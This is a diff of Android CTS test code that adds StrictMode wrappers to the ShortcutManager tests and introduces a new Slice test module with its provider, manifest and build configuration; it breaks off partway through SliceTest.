diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerCtsTestsBase.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerCtsTestsBase.java
index 1f45a7f..aa0ea527 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerCtsTestsBase.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerCtsTestsBase.java
@@ -33,12 +33,13 @@
import android.graphics.drawable.Icon;
import android.os.Bundle;
import android.os.PersistableBundle;
+import android.os.StrictMode;
+import android.os.StrictMode.ThreadPolicy;
import android.os.UserHandle;
import android.support.annotation.NonNull;
import android.test.InstrumentationTestCase;
import android.text.TextUtils;
-import java.security.SecureRandom;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
@@ -50,6 +51,14 @@
private static final boolean DUMPSYS_IN_TEARDOWN = false; // DO NOT SUBMIT WITH true
+ /**
+ * Whether to enable strict mode or not.
+ *
+ * TODO Enable it after fixing b/68051728. Somehow violations would happen on the dashboard
+ * only and can't reproduce it locally.
+ */
+ private static final boolean ENABLE_STRICT_MODE = false;
+
private static class SpoofingContext extends ContextWrapper {
private final String mPackageName;
@@ -276,6 +285,33 @@
return mCurrentLauncherApps;
}
+ protected void runWithStrictMode(Runnable r) {
+ final ThreadPolicy oldPolicy = StrictMode.getThreadPolicy();
+ try {
+ if (ENABLE_STRICT_MODE) {
+ StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
+ .detectAll()
+ .penaltyDeath()
+ .build());
+ }
+ r.run();
+ } finally {
+ StrictMode.setThreadPolicy(oldPolicy);
+ }
+ }
+
+ protected void runWithNoStrictMode(Runnable r) {
+ final ThreadPolicy oldPolicy = StrictMode.getThreadPolicy();
+ try {
+ StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
+ .permitAll()
+ .build());
+ r.run();
+ } finally {
+ StrictMode.setThreadPolicy(oldPolicy);
+ }
+ }
+
protected void runWithCaller(Context callerContext, Runnable r) {
final Context prev = mCurrentCallerPackage;
@@ -286,6 +322,14 @@
setCurrentCaller(prev);
}
+ protected void runWithCallerWithStrictMode(Context callerContext, Runnable r) {
+ runWithCaller(callerContext, () -> runWithStrictMode(r));
+ }
+
+ protected void runWithCallerWithNoStrictMode(Context callerContext, Runnable r) {
+ runWithCaller(callerContext, () -> runWithNoStrictMode(r));
+ }
+
public static Bundle makeBundle(Object... keysAndValues) {
assertTrue((keysAndValues.length % 2) == 0);
@@ -437,11 +481,11 @@
protected Drawable getIconAsLauncher(Context launcherContext, String packageName,
String shortcutId, boolean withBadge) {
- setDefaultLauncher(getInstrumentation(), launcherContext);
+ runWithNoStrictMode(() -> setDefaultLauncher(getInstrumentation(), launcherContext));
final AtomicReference<Drawable> ret = new AtomicReference<>();
- runWithCaller(launcherContext, () -> {
+ runWithCallerWithNoStrictMode(launcherContext, () -> {
final ShortcutQuery q = new ShortcutQuery()
.setQueryFlags(ShortcutQuery.FLAG_MATCH_DYNAMIC
| ShortcutQuery.FLAG_MATCH_MANIFEST
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
index e527bf9..f27a60a 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
@@ -40,7 +40,7 @@
}
public void testPinShortcuts() {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
enableManifestActivity("Launcher_manifest_1", true);
enableManifestActivity("Launcher_manifest_2", true);
@@ -59,7 +59,7 @@
.areAllDynamic()
.areAllEnabled();
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
enableManifestActivity("Launcher_manifest_1", true);
enableManifestActivity("Launcher_manifest_3", true);
@@ -81,7 +81,7 @@
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
getLauncherApps().pinShortcuts(
mPackageContext1.getPackageName(),
list("s1", "s2", "s3", "ms1", "ms21"), getUserHandle());
@@ -90,11 +90,11 @@
list("s2", "s3", "ms1", "ms31"), getUserHandle());
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
getManager().removeDynamicShortcuts(list("s1", "s2"));
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
enableManifestActivity("Launcher_manifest_3", false);
retryUntil(() -> getManager().getManifestShortcuts().size() == 1,
@@ -104,7 +104,7 @@
});
// Check the result.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.haveIds("s3", "s4", "s5")
.areAllEnabled();
@@ -116,7 +116,7 @@
.areAllEnabled();
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertWith(getManager().getDynamicShortcuts())
.haveIds("s3", "s4", "s5")
.areAllEnabled();
@@ -142,7 +142,7 @@
Thread.sleep(2);
final long time1 = System.currentTimeMillis();
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().updateShortcuts(list(
makeShortcut("s3"))));
@@ -156,12 +156,12 @@
Thread.sleep(2);
final long time2 = System.currentTimeMillis();
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().updateShortcuts(list(
makeShortcutWithRank("s4", 999))));
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
setTargetActivityOverride("Launcher_manifest_1");
assertTrue(getManager().updateShortcuts(list(
@@ -171,7 +171,7 @@
Thread.sleep(2);
final long time3 = System.currentTimeMillis();
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
assertWith(getShortcutsAsLauncher(
FLAG_MATCH_DYNAMIC,
mPackageContext1.getPackageName(),
@@ -311,7 +311,7 @@
final Icon icon5 = loadPackageDrawableIcon(mPackageContext1, "black_16x16");
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
enableManifestActivity("Launcher_manifest_2", true);
retryUntil(() -> getManager().getManifestShortcuts().size() == 2,
@@ -357,7 +357,7 @@
final Icon icon2 = Icon.createWithAdaptiveBitmap(BitmapFactory.decodeResource(
getTestContext().getResources(), R.drawable.black_32x32));
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
enableManifestActivity("Launcher_manifest_2", true);
retryUntil(() -> getManager().getManifestShortcuts().size() == 2,
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMaxCountTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMaxCountTest.java
index 3e75b4a..8b7ae4e 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMaxCountTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMaxCountTest.java
@@ -29,7 +29,7 @@
* Basic tests: single app, single activity, no manifest shortcuts.
*/
public void testNumDynamicShortcuts() {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().setDynamicShortcuts(list(makeShortcut("s1"))));
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s1"),
@@ -101,7 +101,7 @@
* Manifest shortcuts are included in the count too.
*/
public void testWithManifest() throws Exception {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
enableManifestActivity("Launcher_manifest_1", true);
enableManifestActivity("Launcher_manifest_2", true);
@@ -110,7 +110,7 @@
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getManifestShortcuts())
.haveIds("ms1", "ms21", "ms22")
.areAllManifest()
@@ -134,7 +134,7 @@
testNumDynamicShortcuts();
// Launcher_manifest_1 has one manifest, so can only add 4 dynamic shortcuts.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
setTargetActivityOverride("Launcher_manifest_1");
assertTrue(getManager().setDynamicShortcuts(list(
@@ -163,7 +163,7 @@
});
// Launcher_manifest_2 has two manifests, so can only add 3.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
setTargetActivityOverride("Launcher_manifest_2");
assertTrue(getManager().addDynamicShortcuts(list(
@@ -188,7 +188,7 @@
}
public void testChangeActivity() {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
setTargetActivityOverride("Launcher");
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s1"),
@@ -262,7 +262,7 @@
}
public void testWithPinned() {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s1"),
makeShortcut("s2"),
@@ -274,12 +274,12 @@
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
list("s1", "s2", "s3", "s4", "s5"), getUserHandle());
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s6"),
makeShortcut("s7"),
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMultiLauncherTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMultiLauncherTest.java
index 78dbccd..5ed5d52 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMultiLauncherTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMultiLauncherTest.java
@@ -16,6 +16,7 @@
package android.content.pm.cts.shortcutmanager;
import static android.content.pm.LauncherApps.ShortcutQuery.FLAG_GET_KEY_FIELDS_ONLY;
+import static android.content.pm.LauncherApps.ShortcutQuery.FLAG_MATCH_PINNED_BY_ANY_LAUNCHER;
import static android.content.pm.LauncherApps.ShortcutQuery.FLAG_MATCH_DYNAMIC;
import static android.content.pm.LauncherApps.ShortcutQuery.FLAG_MATCH_MANIFEST;
import static android.content.pm.LauncherApps.ShortcutQuery.FLAG_MATCH_PINNED;
@@ -266,6 +267,18 @@
.revertToOriginalList()
.selectByIds("ms32")
.areAllDisabled();
+
+ // Make sure "ALL_PINNED" doesn't work without the permission.
+ assertWith(getShortcutsAsLauncher(
+ FLAG_MATCH_PINNED | FLAG_GET_KEY_FIELDS_ONLY
+ | FLAG_MATCH_PINNED_BY_ANY_LAUNCHER,
+ mPackageContext1.getPackageName()))
+ .haveIds("s3", "s4", "ms22");
+ assertWith(getShortcutsAsLauncher(
+ FLAG_MATCH_PINNED | FLAG_GET_KEY_FIELDS_ONLY
+ | FLAG_MATCH_PINNED_BY_ANY_LAUNCHER,
+ mPackageContext2.getPackageName()))
+ .haveIds("s1", "s2", "s3", "ms32");
});
}
}
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java
index 756cf80..17f4cf7 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java
@@ -65,7 +65,7 @@
final String SHORTCUT_ID = "s12345";
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().isRequestPinShortcutSupported());
ReplyUtil.invokeAndWaitForReply(getTestContext(), (replyAction) -> {
@@ -84,7 +84,7 @@
Log.i(TAG, "Done.");
});
});
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
final ShortcutQuery query = new ShortcutQuery()
.setPackage(mPackageContext1.getPackageName())
.setShortcutIds(list(SHORTCUT_ID))
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerStartShortcutTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerStartShortcutTest.java
index 9cf1f89..a66e8ed 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerStartShortcutTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerStartShortcutTest.java
@@ -53,7 +53,7 @@
ShortcutLaunchedActivity.setExpectedOrder(expectedActions);
- runWithCaller(launcher, () -> {
+ runWithCallerWithStrictMode(launcher, () -> {
getLauncherApps().startShortcut(client.getPackageName(), id, rect, options,
getUserHandle());
});
@@ -73,7 +73,7 @@
private void assertShortcutCantStart(Context launcher, Context client, String id,
Class<? extends Throwable> exceptionClass) {
- runWithCaller(launcher, () -> {
+ runWithCallerWithStrictMode(launcher, () -> {
assertExpectException(exceptionClass, "", () -> {
getLauncherApps().startShortcut(client.getPackageName(), id, null, null,
@@ -96,7 +96,7 @@
.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION)
.putExtra("k1", "v1");
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().addDynamicShortcuts(list(
makeShortcutBuilder("s1").setShortLabel("abc")
.setIntent(i).build()
@@ -128,7 +128,7 @@
.setComponent(mLaunchedActivity)
.putExtra("kx", "vx");
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().addDynamicShortcuts(list(
makeShortcutBuilder("s1").setShortLabel("abc")
.setIntents(new Intent[]{i1, i2, i3}).build()
@@ -182,7 +182,7 @@
testStartMultiple();
// then remove it.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
getManager().removeAllDynamicShortcuts();
});
@@ -198,7 +198,7 @@
.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION)
.putExtra("k1", "v1");
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().addDynamicShortcuts(list(
makeShortcutBuilder("s1").setShortLabel("abc")
.setIntent(i).build()
@@ -219,13 +219,13 @@
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
// then pin it.
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
list("s1"), getUserHandle());
});
// Then remove it.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
getManager().removeAllDynamicShortcuts();
});
@@ -241,7 +241,7 @@
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
// then pin it.
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
list("s1"), getUserHandle());
});
@@ -257,7 +257,7 @@
assertShortcutStarts(mLauncherContext2, mPackageContext1, "s1", EXPECTED_ACTIONS_SINGLE);
// Then remove it.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
getManager().removeAllDynamicShortcuts();
});
@@ -304,7 +304,7 @@
Intent i = new Intent(Intent.ACTION_MAIN)
.setComponent(new ComponentName("abc", "def"));
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().addDynamicShortcuts(list(
makeShortcutBuilder("s1").setShortLabel("abc")
.setIntent(i).build()
@@ -329,7 +329,7 @@
"android.content.pm.cts.shortcutmanager.packages.package4",
"android.content.pm.cts.shortcutmanager.packages.Launcher"));
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().addDynamicShortcuts(list(
makeShortcutBuilder("s1").setShortLabel("abc")
.setIntent(i).build()
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerUsageTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerUsageTest.java
index 064ba58..50ce615 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerUsageTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerUsageTest.java
@@ -75,7 +75,7 @@
public void testReportShortcutUsed() throws InterruptedException {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
enableManifestActivity("Launcher_manifest_2", true);
retryUntil(() -> getManager().getManifestShortcuts().size() > 0,
@@ -89,13 +89,13 @@
final String idManifest = "ms21";
final String idNonexistance = "nonexistence";
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut(id1),
makeShortcut(id2)
)));
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut(id1),
makeShortcut(id3)
@@ -106,7 +106,7 @@
// Report usage.
final long start1 = System.currentTimeMillis() - USAGE_STATS_RANGE_ALLOWANCE;
- runWithCaller(mPackageContext2, () -> getManager().reportShortcutUsed(id3));
+ runWithCallerWithStrictMode(mPackageContext2, () -> getManager().reportShortcutUsed(id3));
final long end1 = System.currentTimeMillis() + USAGE_STATS_RANGE_ALLOWANCE;
// Check the log.
@@ -115,7 +115,7 @@
// Report usage.
final long start2 = System.currentTimeMillis() - USAGE_STATS_RANGE_ALLOWANCE;
- runWithCaller(mPackageContext1, () -> getManager().reportShortcutUsed(id1));
+ runWithCallerWithStrictMode(mPackageContext1, () -> getManager().reportShortcutUsed(id1));
final long end2 = System.currentTimeMillis() + USAGE_STATS_RANGE_ALLOWANCE;
// Check the log.
@@ -124,8 +124,8 @@
// Report usage.
final long start3 = System.currentTimeMillis() - USAGE_STATS_RANGE_ALLOWANCE;
- runWithCaller(mPackageContext1, () -> getManager().reportShortcutUsed(idNonexistance));
- runWithCaller(mPackageContext1, () -> getManager().reportShortcutUsed(idManifest));
+ runWithCallerWithStrictMode(mPackageContext1, () -> getManager().reportShortcutUsed(idNonexistance));
+ runWithCallerWithStrictMode(mPackageContext1, () -> getManager().reportShortcutUsed(idManifest));
final long end3 = System.currentTimeMillis() + USAGE_STATS_RANGE_ALLOWANCE;
// Check the log.
diff --git a/tests/tests/slice/Android.mk b/tests/tests/slice/Android.mk
new file mode 100644
index 0000000..184e8d4
--- /dev/null
+++ b/tests/tests/slice/Android.mk
@@ -0,0 +1,45 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+# and when built explicitly put it in the data partition
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_JAVA_LIBRARIES := android.test.runner
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ compatibility-device-util \
+ ctsdeviceutillegacy \
+ ctstestrunner \
+ mockito-target-minus-junit4 \
+ platform-test-annotations \
+ ub-uiautomator \
+ legacy-android-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsSliceTestCases
+
+include $(BUILD_CTS_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/slice/AndroidManifest.xml b/tests/tests/slice/AndroidManifest.xml
new file mode 100644
index 0000000..87253c5
--- /dev/null
+++ b/tests/tests/slice/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2007 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.slice.cts">
+
+ <uses-permission android:name="android.permission.BIND_SLICE" />
+
+ <application android:label="Android TestCase"
+ android:icon="@drawable/size_48x48"
+ android:maxRecents="1"
+ android:multiArch="true"
+ android:supportsRtl="true">
+ <uses-library android:name="android.test.runner" />
+
+ <provider android:name=".SliceProvider"
+ android:authorities="android.slice.cts"
+ android:process=":slice_process" />
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.slice.cts"
+ android:label="CTS tests of android.slice">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+
+</manifest>
diff --git a/tests/tests/slice/AndroidTest.xml b/tests/tests/slice/AndroidTest.xml
new file mode 100644
index 0000000..54e8b61
--- /dev/null
+++ b/tests/tests/slice/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Slice test cases">
+ <option name="config-descriptor:metadata" key="component" value="misc" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsSliceTestCases.apk" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="pm grant android.slice.cts android.permission.BIND_SLICE" />
+ <option name="teardown-command" value="pm revoke android.slice.cts android.permission.BIND_SLICE"/>
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.slice.cts" />
+ <option name="runtime-hint" value="1m" />
+ </test>
+</configuration>
diff --git a/tests/tests/slice/res/drawable/size_48x48.jpg b/tests/tests/slice/res/drawable/size_48x48.jpg
new file mode 100644
index 0000000..5c2291e
--- /dev/null
+++ b/tests/tests/slice/res/drawable/size_48x48.jpg
Binary files differ
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProvider.java b/tests/tests/slice/src/android/slice/cts/SliceProvider.java
new file mode 100644
index 0000000..265ea67
--- /dev/null
+++ b/tests/tests/slice/src/android/slice/cts/SliceProvider.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
+ * except in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the specific language governing
+ * permissions and limitations under the License.
+ */
+
+package android.slice.cts;
+
+import android.app.PendingIntent;
+import android.content.Intent;
+import android.graphics.drawable.Icon;
+import android.net.Uri;
+import android.app.slice.Slice;
+import android.app.slice.Slice.Builder;
+
+public class SliceProvider extends android.app.slice.SliceProvider {
+
+ @Override
+ public boolean onCreate() {
+ return true;
+ }
+
+ @Override
+ public Slice onBindSlice(Uri sliceUri) {
+ switch (sliceUri.getPath()) {
+ case "/set_flag":
+ SliceTest.sFlag = true;
+ break;
+ case "/subslice":
+ Builder b = new Builder(sliceUri);
+ return b.addSubSlice(new Slice.Builder(b).build(), "subslice").build();
+ case "/text":
+ return new Slice.Builder(sliceUri).addText("Expected text", "text").build();
+ case "/icon":
+ return new Slice.Builder(sliceUri).addIcon(
+ Icon.createWithResource(getContext(), R.drawable.size_48x48), "icon").build();
+ case "/action":
+ Builder builder = new Builder(sliceUri);
+ Slice subSlice = new Slice.Builder(builder).build();
+ PendingIntent broadcast = PendingIntent.getBroadcast(getContext(), 0,
+ new Intent(getContext().getPackageName() + ".action"), 0);
+ return builder.addAction(broadcast, subSlice, "action").build();
+ case "/color":
+ return new Slice.Builder(sliceUri).addColor(0xff121212, "color").build();
+ case "/timestamp":
+ return new Slice.Builder(sliceUri).addTimestamp(43, "timestamp").build();
+ case "/hints":
+ return new Slice.Builder(sliceUri)
+ .addHints(Slice.HINT_LIST)
+ .addText("Text", null, Slice.HINT_TITLE)
+ .addIcon(Icon.createWithResource(getContext(), R.drawable.size_48x48),
+ null, Slice.HINT_NO_TINT, Slice.HINT_LARGE)
+ .build();
+ }
+ return new Slice.Builder(sliceUri).build();
+ }
+}
diff --git a/tests/tests/slice/src/android/slice/cts/SliceTest.java b/tests/tests/slice/src/android/slice/cts/SliceTest.java
new file mode 100644
index 0000000..8efcf4c
--- /dev/null
+++ b/tests/tests/slice/src/android/slice/cts/SliceTest.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
+ * except in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the specific language governing
+ * permissions and limitations under the License.
+ */
+
+package android.slice.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.app.PendingIntent.CanceledException;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.graphics.drawable.Icon;
+import android.net.Uri;
+import android.app.slice.Slice;
+import android.app.slice.SliceItem;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class SliceTest {
+
+ public static boolean sFlag = false;
+
+ private static final Uri BASE_URI = Uri.parse("content://android.slice.cts/");
+ private final Context mContext = InstrumentationRegistry.getContext();
+
+ @Test
+ public void testProcess() {
+ sFlag = false;
+ Slice.bindSlice(mContext.getContentResolver(),
+ BASE_URI.buildUpon().appendPath("set_flag").build(),
+ Collections.emptyList());
+ assertFalse(sFlag);
+ }
+
+ @Test
+ public void testType() {
+ assertEquals(SliceProvider.SLICE_TYPE,
+ mContext.getContentResolver().getType(BASE_URI));
+ }
+
+ @Test
+ public void testSliceUri() {
+ Slice s = Slice.bindSlice(mContext.getContentResolver(), BASE_URI,
+ Collections.emptyList());
+ assertEquals(BASE_URI, s.getUri());
+ }
+
+ @Test
+ public void testSubSlice() {
+ Uri uri = BASE_URI.buildUpon().appendPath("subslice").build();
+ Slice s = Slice.bindSlice(mContext.getContentResolver(), uri,
+ Collections.emptyList());
+ assertEquals(uri, s.getUri());
+ assertEquals(1, s.getItems().size());
+
+ SliceItem item = s.getItems().get(0);
+ assertEquals(SliceItem.FORMAT_SLICE, item.getFormat());
+ assertEquals("subslice", item.getSubType());
+ // The item should start with the same Uri as the parent, but be different.
+ assertTrue(item.getSlice().getUri().toString().startsWith(uri.toString()));
+ assertNotEquals(uri, item.getSlice().getUri());
+ }
+
+ @Test
+ public void testText() {
+ Uri uri = BASE_URI.buildUpon().appendPath("text").build();
+ Slice s = Slice.bindSlice(mContext.getContentResolver(), uri,
